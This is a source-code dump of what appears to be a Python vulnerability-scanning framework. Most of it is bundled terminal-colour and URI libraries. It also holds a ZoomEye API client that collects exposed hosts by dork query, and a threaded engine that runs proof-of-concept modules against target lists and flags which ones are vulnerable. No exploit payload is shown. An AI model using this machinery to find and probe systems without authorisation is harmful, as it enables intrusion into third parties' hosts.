29 | ('X', SHORT),
30 | ('Y', SHORT),
31 | ]
32 |
33 | class SMALL_RECT(Structure):
34 | """struct in wincon.h."""
35 | _fields_ = [
36 | ("Left", SHORT),
37 | ("Top", SHORT),
38 | ("Right", SHORT),
39 | ("Bottom", SHORT),
40 | ]
41 |
42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure):
43 | """struct in wincon.h."""
44 | _fields_ = [
45 | ("dwSize", COORD),
46 | ("dwCursorPosition", COORD),
47 | ("wAttributes", WORD),
48 | ("srWindow", SMALL_RECT),
49 | ("dwMaximumWindowSize", COORD),
50 | ]
51 | def __str__(self):
52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
53 | self.dwSize.Y, self.dwSize.X
54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X
55 | , self.wAttributes
56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
58 | )
59 |
60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT):
61 | handle = handles[stream_id]
62 | csbi = CONSOLE_SCREEN_BUFFER_INFO()
63 | success = windll.kernel32.GetConsoleScreenBufferInfo(
64 | handle, byref(csbi))
65 | return csbi
66 |
67 |
68 | def SetConsoleTextAttribute(stream_id, attrs):
69 | handle = handles[stream_id]
70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs)
71 |
72 |
73 | def SetConsoleCursorPosition(stream_id, position):
74 | position = COORD(*position)
75 | # If the position is out of range, do nothing.
76 | if position.Y <= 0 or position.X <= 0:
77 | return
78 | # Adjust for Windows' SetConsoleCursorPosition:
79 | # 1. being 0-based, while ANSI is 1-based.
80 | # 2. expecting (x,y), while ANSI uses (y,x).
81 | adjusted_position = COORD(position.Y - 1, position.X - 1)
82 | # Adjust for viewport's scroll position
83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
84 | adjusted_position.Y += sr.Top
85 | adjusted_position.X += sr.Left
86 | # Resume normal processing
87 | handle = handles[stream_id]
88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position)
89 |
90 | def FillConsoleOutputCharacter(stream_id, char, length, start):
91 | handle = handles[stream_id]
92 | char = TCHAR(char)
93 | length = DWORD(length)
94 | num_written = DWORD(0)
95 | # Note that this is hard-coded for ANSI (vs wide) bytes.
96 | success = windll.kernel32.FillConsoleOutputCharacterA(
97 | handle, char, length, start, byref(num_written))
98 | return num_written.value
99 |
100 | def FillConsoleOutputAttribute(stream_id, attr, length, start):
101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
102 | handle = handles[stream_id]
103 | attribute = WORD(attr)
104 | length = DWORD(length)
105 | num_written = DWORD(0)
106 | # Note that this is hard-coded for ANSI (vs wide) bytes.
107 | return windll.kernel32.FillConsoleOutputAttribute(
108 | handle, attribute, length, start, byref(num_written))
109 |
110 |
--------------------------------------------------------------------------------
/thirdparty/httplib2/iri2uri.py:
--------------------------------------------------------------------------------
1 | """
2 | iri2uri
3 |
4 | Converts an IRI to a URI.
5 |
6 | """
7 | __author__ = "Joe Gregorio (joe@bitworking.org)"
8 | __copyright__ = "Copyright 2006, Joe Gregorio"
9 | __contributors__ = []
10 | __version__ = "1.0.0"
11 | __license__ = "MIT"
12 | __history__ = """
13 | """
14 |
15 | import urlparse
16 |
17 |
18 | # Convert an IRI to a URI following the rules in RFC 3987
19 | #
20 | # The characters we need to enocde and escape are defined in the spec:
21 | #
22 | # iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD
23 | # ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF
24 | # / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD
25 | # / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD
26 | # / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD
27 | # / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD
28 | # / %xD0000-DFFFD / %xE1000-EFFFD
29 |
30 | escape_range = [
31 | (0xA0, 0xD7FF),
32 | (0xE000, 0xF8FF),
33 | (0xF900, 0xFDCF),
34 | (0xFDF0, 0xFFEF),
35 | (0x10000, 0x1FFFD),
36 | (0x20000, 0x2FFFD),
37 | (0x30000, 0x3FFFD),
38 | (0x40000, 0x4FFFD),
39 | (0x50000, 0x5FFFD),
40 | (0x60000, 0x6FFFD),
41 | (0x70000, 0x7FFFD),
42 | (0x80000, 0x8FFFD),
43 | (0x90000, 0x9FFFD),
44 | (0xA0000, 0xAFFFD),
45 | (0xB0000, 0xBFFFD),
46 | (0xC0000, 0xCFFFD),
47 | (0xD0000, 0xDFFFD),
48 | (0xE1000, 0xEFFFD),
49 | (0xF0000, 0xFFFFD),
50 | (0x100000, 0x10FFFD),
51 | ]
52 |
53 | def encode(c):
54 | retval = c
55 | i = ord(c)
56 | for low, high in escape_range:
57 | if i < low:
58 | break
59 | if i >= low and i <= high:
60 | retval = "".join(["%%%2X" % ord(o) for o in c.encode('utf-8')])
61 | break
62 | return retval
63 |
64 |
65 | def iri2uri(uri):
66 | """Convert an IRI to a URI. Note that IRIs must be
67 | passed in a unicode strings. That is, do not utf-8 encode
68 | the IRI before passing it into the function."""
69 | if isinstance(uri ,unicode):
70 | (scheme, authority, path, query, fragment) = urlparse.urlsplit(uri)
71 | authority = authority.encode('idna')
72 | # For each character in 'ucschar' or 'iprivate'
73 | # 1. encode as utf-8
74 | # 2. then %-encode each octet of that utf-8
75 | uri = urlparse.urlunsplit((scheme, authority, path, query, fragment))
76 | uri = "".join([encode(c) for c in uri])
77 | return uri
78 |
79 | if __name__ == "__main__":
80 | import unittest
81 |
82 | class Test(unittest.TestCase):
83 |
84 | def test_uris(self):
85 | """Test that URIs are invariant under the transformation."""
86 | invariant = [
87 | u"ftp://ftp.is.co.za/rfc/rfc1808.txt",
88 | u"http://www.ietf.org/rfc/rfc2396.txt",
89 | u"ldap://[2001:db8::7]/c=GB?objectClass?one",
90 | u"mailto:John.Doe@example.com",
91 | u"news:comp.infosystems.www.servers.unix",
92 | u"tel:+1-816-555-1212",
93 | u"telnet://192.0.2.16:80/",
94 | u"urn:oasis:names:specification:docbook:dtd:xml:4.1.2" ]
95 | for uri in invariant:
96 | self.assertEqual(uri, iri2uri(uri))
97 |
98 | def test_iri(self):
99 | """ Test that the right type of escaping is done for each part of the URI."""
100 | self.assertEqual("http://xn--o3h.com/%E2%98%84", iri2uri(u"http://\N{COMET}.com/\N{COMET}"))
101 | self.assertEqual("http://bitworking.org/?fred=%E2%98%84", iri2uri(u"http://bitworking.org/?fred=\N{COMET}"))
102 | self.assertEqual("http://bitworking.org/#%E2%98%84", iri2uri(u"http://bitworking.org/#\N{COMET}"))
103 | self.assertEqual("#%E2%98%84", iri2uri(u"#\N{COMET}"))
104 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}"))
105 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}")))
106 | self.assertNotEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}".encode('utf-8')))
107 |
108 | unittest.main()
109 |
110 |
111 |
--------------------------------------------------------------------------------
/thirdparty/colorama/winterm.py:
--------------------------------------------------------------------------------
1 |
2 | from . import win32
3 |
4 |
5 | # from wincon.h
6 | class WinColor(object):
7 | BLACK = 0
8 | BLUE = 1
9 | GREEN = 2
10 | CYAN = 3
11 | RED = 4
12 | MAGENTA = 5
13 | YELLOW = 6
14 | GREY = 7
15 |
16 | # from wincon.h
17 | class WinStyle(object):
18 | NORMAL = 0x00 # dim text, dim background
19 | BRIGHT = 0x08 # bright text, dim background
20 |
21 |
22 | class WinTerm(object):
23 |
24 | def __init__(self):
25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
26 | self.set_attrs(self._default)
27 | self._default_fore = self._fore
28 | self._default_back = self._back
29 | self._default_style = self._style
30 |
31 | def get_attrs(self):
32 | return self._fore + self._back * 16 + self._style
33 |
34 | def set_attrs(self, value):
35 | self._fore = value & 7
36 | self._back = (value >> 4) & 7
37 | self._style = value & WinStyle.BRIGHT
38 |
39 | def reset_all(self, on_stderr=None):
40 | self.set_attrs(self._default)
41 | self.set_console(attrs=self._default)
42 |
43 | def fore(self, fore=None, on_stderr=False):
44 | if fore is None:
45 | fore = self._default_fore
46 | self._fore = fore
47 | self.set_console(on_stderr=on_stderr)
48 |
49 | def back(self, back=None, on_stderr=False):
50 | if back is None:
51 | back = self._default_back
52 | self._back = back
53 | self.set_console(on_stderr=on_stderr)
54 |
55 | def style(self, style=None, on_stderr=False):
56 | if style is None:
57 | style = self._default_style
58 | self._style = style
59 | self.set_console(on_stderr=on_stderr)
60 |
61 | def set_console(self, attrs=None, on_stderr=False):
62 | if attrs is None:
63 | attrs = self.get_attrs()
64 | handle = win32.STDOUT
65 | if on_stderr:
66 | handle = win32.STDERR
67 | win32.SetConsoleTextAttribute(handle, attrs)
68 |
69 | def get_position(self, handle):
70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
71 | # Because Windows coordinates are 0-based,
72 | # and win32.SetConsoleCursorPosition expects 1-based.
73 | position.X += 1
74 | position.Y += 1
75 | return position
76 |
77 | def set_cursor_position(self, position=None, on_stderr=False):
78 | if position is None:
79 | #I'm not currently tracking the position, so there is no default.
80 | #position = self.get_position()
81 | return
82 | handle = win32.STDOUT
83 | if on_stderr:
84 | handle = win32.STDERR
85 | win32.SetConsoleCursorPosition(handle, position)
86 |
87 | def cursor_up(self, num_rows=0, on_stderr=False):
88 | if num_rows == 0:
89 | return
90 | handle = win32.STDOUT
91 | if on_stderr:
92 | handle = win32.STDERR
93 | position = self.get_position(handle)
94 | adjusted_position = (position.Y - num_rows, position.X)
95 | self.set_cursor_position(adjusted_position, on_stderr)
96 |
97 | def erase_data(self, mode=0, on_stderr=False):
98 | # 0 (or None) should clear from the cursor to the end of the screen.
99 | # 1 should clear from the cursor to the beginning of the screen.
100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?)
101 | #
102 | # At the moment, I only support mode 2. From looking at the API, it
103 | # should be possible to calculate a different number of bytes to clear,
104 | # and to do so relative to the cursor position.
105 | if mode[0] not in (2,):
106 | return
107 | handle = win32.STDOUT
108 | if on_stderr:
109 | handle = win32.STDERR
110 | # here's where we'll home the cursor
111 | coord_screen = win32.COORD(0,0)
112 | csbi = win32.GetConsoleScreenBufferInfo(handle)
113 | # get the number of character cells in the current buffer
114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y
115 | # fill the entire screen with blanks
116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen)
117 | # now set the buffer's attributes accordingly
118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen );
119 | # put the cursor at (0, 0)
120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y))
121 |
--------------------------------------------------------------------------------
/lib/api/zoomeye/base.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import requests
5 | import getpass
6 | import sys
7 | from lib.core.data import logger, paths
8 | from lib.utils.config import ConfigFileParser
9 |
10 |
11 | class ZoomEye(object):
12 | def __init__(self, username=None, password=None):
13 | self.username = username
14 | self.password = password
15 |
16 | self.token = ''
17 | self.zoomeye_login_api = "https://api.zoomeye.org/user/login"
18 | self.zoomeye_dork_api = "https://api.zoomeye.org/{}/search"
19 |
20 | def auto_login(self):
21 | msg = 'Trying to login with credentials in config file: %s' % paths.CONFIG_PATH
22 | logger.info(msg)
23 | try:
24 | self.username = ConfigFileParser().ZoomEyeEmail()
25 | self.password = ConfigFileParser().ZoomEyePassword()
26 | except:
27 | pass
28 |
29 | if bool(self.username and self.password):
30 | if self.get_token():
31 | return
32 |
33 | msg = 'Automatic authorization failed.Please add your Account and Password to toolkit.conf'
34 | logger.warning(msg)
35 | self.manual_login()
36 |
37 | def manual_login(self):
38 | msg = 'Please input your ZoomEye Email and Password below'
39 | logger.info(msg)
40 | self.username = raw_input('ZoomEye Account: ').strip()
41 | self.password = getpass.getpass(prompt='ZoomEye Password: ').strip()
42 | if not self.get_token():
43 | msg = 'Invalid ZoomEye username or password'
44 | sys.exit(logger.error(msg))
45 |
46 | def get_token(self):
47 | # Please access https://www.zoomeye.org/api/doc#overview
48 | data = '{{"username": "{}", "password": "{}"}}'.format(self.username,self.password)
49 | resp = requests.post(self.zoomeye_login_api, data=data)
50 | if resp and resp.status_code == 200 and 'access_token' in resp.json():
51 | self.token = resp.json().get('access_token')
52 | return self.token
53 | return False
54 |
55 | def setToken(self, token):
56 | """set Token from exist token string"""
57 | self.token = token.strip()
58 |
59 | def dork_search(self, dork, page=0, resource='web', facet=['ip']):
60 | """Search records with ZoomEye dorks.
61 |
62 | param: dork
63 | ex: country:cn
64 | access https://www.zoomeye.org/search/dorks for more details.
65 | param: page
66 | total page(s) number
67 | param: resource
68 | set a search resource type, ex: [web, host]
69 | param: facet
70 | ex: [app, device]
71 | A comma-separated list of properties to get summary information
72 | """
73 | result = []
74 | if isinstance(facet, (tuple, list)):
75 | facet = ','.join(facet)
76 |
77 | zoomeye_api = self.zoomeye_dork_api.format(resource)
78 | headers = {'Authorization': 'JWT %s' % self.token}
79 | params = {'query': dork, 'page': page + 1, 'facet': facet}
80 | resp = requests.get(zoomeye_api, params=params, headers=headers)
81 | if resp and resp.status_code == 200 and 'matches' in resp.json():
82 | matches = resp.json().get('matches')
83 | # total = resp.json().get('total') # all matches items num
84 | result = matches
85 |
86 | # Every match item incudes the following information:
87 | # geoinfo
88 | # description
89 | # check_time
90 | # title
91 | # ip
92 | # site
93 | # system
94 | # headers
95 | # keywords
96 | # server
97 | # domains
98 |
99 | return result
100 |
101 | def resources_info(self):
102 | """Resource info shows us available search times.
103 |
104 | host-search: total number of available host records to search
105 | web-search: total number of available web records to search
106 | """
107 | data = None
108 | zoomeye_api = "https://api.zoomeye.org/resources-info"
109 | headers = {'Authorization': 'JWT %s' % self.token}
110 | resp = requests.get(zoomeye_api, headers=headers)
111 | if resp and resp.status_code == 200 and 'plan' in resp.json():
112 | data = resp.json()
113 |
114 | return data
115 |
116 |
117 | def show_site_ip(data):
118 | if data:
119 | for i in data:
120 | print(i.get('site'), i.get('ip'))
121 |
122 |
123 | def show_ip_port(data):
124 | if data:
125 | for i in data:
126 | print(i.get('ip'), i.get('portinfo').get('port'))
127 |
--------------------------------------------------------------------------------
/lib/controller/engine.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 |
5 | import threading
6 | import time
7 | import traceback
8 | from lib.core.data import th, conf, logger, targetlist
9 | from lib.utils.console import getTerminalSize #获取命令行窗口的宽度和高度
10 | from lib.utils.versioncheck import PYVERSION
11 | from lib.core.enums import POC_RESULT_STATUS, ENGINE_MODE_STATUS
12 |
13 |
14 | def initEngine():
15 | th.thread_mode = True if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else False
16 | #多线程模式conf.ENGINE=9
17 | th.module_name = conf.MODULE_NAME #脚本名
18 | th.s_flag = True
19 | th.thread_count = th.threads_num = th.THREADS_NUM #线程数
20 | th.scan_count = th.found_count = 0 #扫描数和发现数置0
21 | th.console_width = getTerminalSize()[0] - 2 #命令行窗口宽度减2
22 | th.is_continue = True
23 | th.start_time = time.time() #开始计时
24 | setThreadLock()
25 | '''
26 | print "#########以下是th字典##########"
27 | print th
28 | '''
29 | msg = 'The number of %s: %d' % ('threads' if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else 'concurrent', th.threads_num)
30 | logger.info(msg)
31 |
32 |
33 | def scan():
34 | while 1:
35 | if th.thread_mode: th.load_lock.acquire()
36 | if th.queue.qsize() > 0 and th.is_continue:
37 | payload = str(th.queue.get(timeout=1.0))
38 | if th.thread_mode: th.load_lock.release()
39 | else:
40 | if th.thread_mode: th.load_lock.release()
41 | break
42 | try:
43 | #POC在执行时报错如果不被处理,线程框架会停止并退出
44 | status = th.module_obj.poc(payload) #执行脚本,会返回状态True或者False
45 | if th.thread_mode:
46 | th.output_lock.acquire()
47 | time.sleep(0.05)
48 | resultHandler(status, payload)
49 | except Exception:
50 | th.errmsg = traceback.format_exc()
51 | th.is_continue = False
52 | changeScanCount(1)
53 | changeThreadCount(-1)
54 |
55 |
56 | def run():
57 | initEngine()
58 | if conf.ENGINE is ENGINE_MODE_STATUS.THREAD: #多线程模式conf.ENGINE=9
59 | for i in range(th.threads_num):
60 | t = threading.Thread(target=scan, name=str(i))
61 | setThreadDaemon(t)
62 | t.start()
63 | # It can quit with Ctrl-C
64 | while 1: #如果未扫描结束,主线程一直死循环等待,取决于线程数量和th.is_continue的值
65 | if th.thread_count > 0 and th.is_continue:
66 | time.sleep(0.01)
67 | else:
68 | break
69 |
70 | elif conf.ENGINE is ENGINE_MODE_STATUS.GEVENT: #协程模式conf.ENGINE=8
71 | from gevent import monkey
72 | monkey.patch_all()
73 | import gevent
74 | while th.queue.qsize() > 0 and th.is_continue:
75 | gevent.joinall([gevent.spawn(scan) for i in xrange(0, th.threads_num) if #生成10个concurrent
76 | th.queue.qsize() > 0])
77 |
78 | if 'errmsg' in th:
79 | logger.error(th.errmsg)
80 |
81 |
82 | def resultHandler(status, payload):
83 | truemsg = "The target '{}' is vulnerable".format(payload)
84 | falsemsg = "The target '{}' is NOT vulnerable".format(payload)
85 | if not status or status is POC_RESULT_STATUS.FAIL:
86 | targetlist.append([payload, status])
87 | logger.error(falsemsg)
88 | if th.thread_mode: th.output_lock.release()
89 | return
90 | elif status is POC_RESULT_STATUS.RETRAY:
91 | changeScanCount(-1)
92 | th.queue.put(payload)
93 | return
94 | elif status is True or status is POC_RESULT_STATUS.SUCCESS:
95 | targetlist.append([payload, status])
96 | logger.success(truemsg)
97 | if th.thread_mode: th.output_lock.release()
98 | changeFoundCount(1)
99 | else:
100 | pass
101 |
102 |
103 |
104 | def setThreadLock():
105 | th.output_lock = threading.Lock()
106 | if th.thread_mode:
107 | th.found_count_lock = threading.Lock()
108 | th.scan_count_lock = threading.Lock()
109 | th.thread_count_lock = threading.Lock()
110 | th.file_lock = threading.Lock()
111 | th.load_lock = threading.Lock()
112 |
113 |
114 | def setThreadDaemon(thread): #设置守护线程
115 | # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
116 | if PYVERSION >= "2.6":
117 | thread.daemon = True
118 | else:
119 | thread.setDaemon(True)
120 |
121 |
122 | def changeFoundCount(num):
123 | if th.thread_mode: th.found_count_lock.acquire()
124 | th.found_count += num
125 | if th.thread_mode: th.found_count_lock.release()
126 |
127 |
128 | def changeScanCount(num):
129 | if th.thread_mode: th.scan_count_lock.acquire()
130 | th.scan_count += num
131 | if th.thread_mode: th.scan_count_lock.release()
132 |
133 |
134 | def changeThreadCount(num):
135 | if th.thread_mode: th.thread_count_lock.acquire()
136 | th.thread_count += num
137 | if th.thread_mode: th.thread_count_lock.release()
138 |
--------------------------------------------------------------------------------
/thirdparty/ansistrm/ansistrm.py:
--------------------------------------------------------------------------------
1 | #
2 | # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license.
3 | #
4 | import logging
5 | import os
6 | import re
7 |
8 | from lib.core.convert import stdoutencode
9 |
10 |
11 | class ColorizingStreamHandler(logging.StreamHandler):
12 | # color names to indices
13 | color_map = {
14 | 'black': 0,
15 | 'red': 1,
16 | 'green': 2,
17 | 'yellow': 3,
18 | 'blue': 4,
19 | 'magenta': 5,
20 | 'cyan': 6,
21 | 'white': 7,
22 | }
23 |
24 | # levels to (background, foreground, bold/intense)
25 | if os.name == 'nt':
26 | level_map = {
27 | logging.DEBUG: (None, 'blue', False),
28 | logging.INFO: (None, 'green', False),
29 | logging.WARNING: (None, 'yellow', False),
30 | logging.ERROR: (None, 'red', False),
31 | logging.CRITICAL: ('red', 'white', False)
32 | }
33 | else:
34 | level_map = {
35 | logging.DEBUG: (None, 'blue', False),
36 | logging.INFO: (None, 'green', False),
37 | logging.WARNING: (None, 'yellow', False),
38 | logging.ERROR: (None, 'red', False),
39 | logging.CRITICAL: ('red', 'white', False)
40 | }
41 | csi = '\x1b['
42 | reset = '\x1b[0m'
43 | disable_coloring = False
44 |
45 | @property
46 | def is_tty(self):
47 | isatty = getattr(self.stream, 'isatty', None)
48 | return isatty and isatty() and not self.disable_coloring
49 |
50 | def emit(self, record):
51 | try:
52 | message = stdoutencode(self.format(record))
53 | stream = self.stream
54 |
55 | if not self.is_tty:
56 | if message and message[0] == "\r":
57 | message = message[1:]
58 | stream.write(message)
59 | else:
60 | self.output_colorized(message)
61 | stream.write(getattr(self, 'terminator', '\n'))
62 |
63 | self.flush()
64 | except (KeyboardInterrupt, SystemExit):
65 | raise
66 | except IOError:
67 | pass
68 | except Exception:
69 | self.handleError(record)
70 |
71 | if os.name != 'nt':
72 | def output_colorized(self, message):
73 | self.stream.write(message)
74 | else:
75 | ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m')
76 |
77 | nt_color_map = {
78 | 0: 0x00, # black
79 | 1: 0x04, # red
80 | 2: 0x02, # green
81 | 3: 0x06, # yellow
82 | 4: 0x01, # blue
83 | 5: 0x05, # magenta
84 | 6: 0x03, # cyan
85 | 7: 0x07, # white
86 | }
87 |
88 | def output_colorized(self, message):
89 | import ctypes
90 |
91 | parts = self.ansi_esc.split(message)
92 | write = self.stream.write
93 | h = None
94 | fd = getattr(self.stream, 'fileno', None)
95 |
96 | if fd is not None:
97 | fd = fd()
98 |
99 | if fd in (1, 2): # stdout or stderr
100 | h = ctypes.windll.kernel32.GetStdHandle(-10 - fd)
101 |
102 | while parts:
103 | text = parts.pop(0)
104 |
105 | if text:
106 | write(text)
107 |
108 | if parts:
109 | params = parts.pop(0)
110 |
111 | if h is not None:
112 | params = [int(p) for p in params.split(';')]
113 | color = 0
114 |
115 | for p in params:
116 | if 40 <= p <= 47:
117 | color |= self.nt_color_map[p - 40] << 4
118 | elif 30 <= p <= 37:
119 | color |= self.nt_color_map[p - 30]
120 | elif p == 1:
121 | color |= 0x08 # foreground intensity on
122 | elif p == 0: # reset to default color
123 | color = 0x07
124 | else:
125 | pass # error condition ignored
126 |
127 | ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)
128 |
129 | def colorize(self, message, record):
130 | if record.levelno in self.level_map and self.is_tty:
131 | bg, fg, bold = self.level_map[record.levelno]
132 | params = []
133 |
134 | if bg in self.color_map:
135 | params.append(str(self.color_map[bg] + 40))
136 |
137 | if fg in self.color_map:
138 | params.append(str(self.color_map[fg] + 30))
139 |
140 | if bold:
141 | params.append('1')
142 |
143 | if params and message:
144 | if message.lstrip() != message:
145 | prefix = re.search(r"\s+", message).group(0)
146 | message = message[len(prefix):]
147 | else:
148 | prefix = ""
149 |
150 | message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params),
151 | 'm', message, self.reset)))
152 |
153 | return message
154 |
155 | def format(self, record):
156 | message = logging.StreamHandler.format(self, record)
157 | return self.colorize(message, record)
158 |
--------------------------------------------------------------------------------
/thirdparty/termcolor/termcolor.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 | # Copyright (c) 2008-2011 Volvox Development Team
3 | #
4 | # Permission is hereby granted, free of charge, to any person obtaining a copy
5 | # of this software and associated documentation files (the "Software"), to deal
6 | # in the Software without restriction, including without limitation the rights
7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 | # copies of the Software, and to permit persons to whom the Software is
9 | # furnished to do so, subject to the following conditions:
10 | #
11 | # The above copyright notice and this permission notice shall be included in
12 | # all copies or substantial portions of the Software.
13 | #
14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
20 | # THE SOFTWARE.
21 | #
22 | # Author: Konstantin Lepa
23 |
24 | """ANSII Color formatting for output in terminal."""
25 |
26 | from __future__ import print_function
27 | import os
28 |
29 |
30 | __ALL__ = [ 'colored', 'cprint' ]
31 |
32 | VERSION = (1, 1, 0)
33 |
34 | ATTRIBUTES = dict(
35 | list(zip([
36 | 'bold',
37 | 'dark',
38 | '',
39 | 'underline',
40 | 'blink',
41 | '',
42 | 'reverse',
43 | 'concealed'
44 | ],
45 | list(range(1, 9))
46 | ))
47 | )
48 | del ATTRIBUTES['']
49 |
50 |
51 | HIGHLIGHTS = dict(
52 | list(zip([
53 | 'on_grey',
54 | 'on_red',
55 | 'on_green',
56 | 'on_yellow',
57 | 'on_blue',
58 | 'on_magenta',
59 | 'on_cyan',
60 | 'on_white'
61 | ],
62 | list(range(40, 48))
63 | ))
64 | )
65 |
66 |
67 | COLORS = dict(
68 | list(zip([
69 | 'grey',
70 | 'red',
71 | 'green',
72 | 'yellow',
73 | 'blue',
74 | 'magenta',
75 | 'cyan',
76 | 'white',
77 | ],
78 | list(range(30, 38))
79 | ))
80 | )
81 |
82 |
83 | RESET = '\033[0m'
84 |
85 |
86 | def colored(text, color=None, on_color=None, attrs=None):
87 | """Colorize text.
88 |
89 | Available text colors:
90 | red, green, yellow, blue, magenta, cyan, white.
91 |
92 | Available text highlights:
93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white.
94 |
95 | Available attributes:
96 | bold, dark, underline, blink, reverse, concealed.
97 |
98 | Example:
99 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink'])
100 | colored('Hello, World!', 'green')
101 | """
102 | if os.getenv('ANSI_COLORS_DISABLED') is None:
103 | fmt_str = '\033[%dm%s'
104 | if color is not None:
105 | text = fmt_str % (COLORS[color], text)
106 |
107 | if on_color is not None:
108 | text = fmt_str % (HIGHLIGHTS[on_color], text)
109 |
110 | if attrs is not None:
111 | for attr in attrs:
112 | text = fmt_str % (ATTRIBUTES[attr], text)
113 |
114 | text += RESET
115 | return text
116 |
117 |
118 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs):
119 | """Print colorize text.
120 |
121 | It accepts arguments of print function.
122 | """
123 |
124 | print((colored(text, color, on_color, attrs)), **kwargs)
125 |
126 |
127 | if __name__ == '__main__':
128 | print('Current terminal type: %s' % os.getenv('TERM'))
129 | print('Test basic colors:')
130 | cprint('Grey color', 'grey')
131 | cprint('Red color', 'red')
132 | cprint('Green color', 'green')
133 | cprint('Yellow color', 'yellow')
134 | cprint('Blue color', 'blue')
135 | cprint('Magenta color', 'magenta')
136 | cprint('Cyan color', 'cyan')
137 | cprint('White color', 'white')
138 | print(('-' * 78))
139 |
140 | print('Test highlights:')
141 | cprint('On grey color', on_color='on_grey')
142 | cprint('On red color', on_color='on_red')
143 | cprint('On green color', on_color='on_green')
144 | cprint('On yellow color', on_color='on_yellow')
145 | cprint('On blue color', on_color='on_blue')
146 | cprint('On magenta color', on_color='on_magenta')
147 | cprint('On cyan color', on_color='on_cyan')
148 | cprint('On white color', color='grey', on_color='on_white')
149 | print('-' * 78)
150 |
151 | print('Test attributes:')
152 | cprint('Bold grey color', 'grey', attrs=['bold'])
153 | cprint('Dark red color', 'red', attrs=['dark'])
154 | cprint('Underline green color', 'green', attrs=['underline'])
155 | cprint('Blink yellow color', 'yellow', attrs=['blink'])
156 | cprint('Reversed blue color', 'blue', attrs=['reverse'])
157 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed'])
158 | cprint('Bold underline reverse cyan color', 'cyan',
159 | attrs=['bold', 'underline', 'reverse'])
160 | cprint('Dark blink concealed white color', 'white',
161 | attrs=['dark', 'blink', 'concealed'])
162 | print(('-' * 78))
163 |
164 | print('Test mixing:')
165 | cprint('Underline red on grey color', 'red', 'on_grey',
166 | ['underline'])
167 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse'])
168 |
169 |
--------------------------------------------------------------------------------
/thirdparty/colorama/ansitowin32.py:
--------------------------------------------------------------------------------
1 |
2 | import re
3 | import sys
4 |
5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
6 | from .winterm import WinTerm, WinColor, WinStyle
7 | from .win32 import windll
8 |
9 |
10 | if windll is not None:
11 | winterm = WinTerm()
12 |
13 |
14 | def is_a_tty(stream):
15 | return hasattr(stream, 'isatty') and stream.isatty()
16 |
17 |
18 | class StreamWrapper(object):
19 | '''
20 | Wraps a stream (such as stdout), acting as a transparent proxy for all
21 | attribute access apart from method 'write()', which is delegated to our
22 | Converter instance.
23 | '''
24 | def __init__(self, wrapped, converter):
25 | # double-underscore everything to prevent clashes with names of
26 | # attributes on the wrapped stream object.
27 | self.__wrapped = wrapped
28 | self.__convertor = converter
29 |
30 | def __getattr__(self, name):
31 | return getattr(self.__wrapped, name)
32 |
33 | def write(self, text):
34 | self.__convertor.write(text)
35 |
36 |
37 | class AnsiToWin32(object):
38 | '''
39 | Implements a 'write()' method which, on Windows, will strip ANSI character
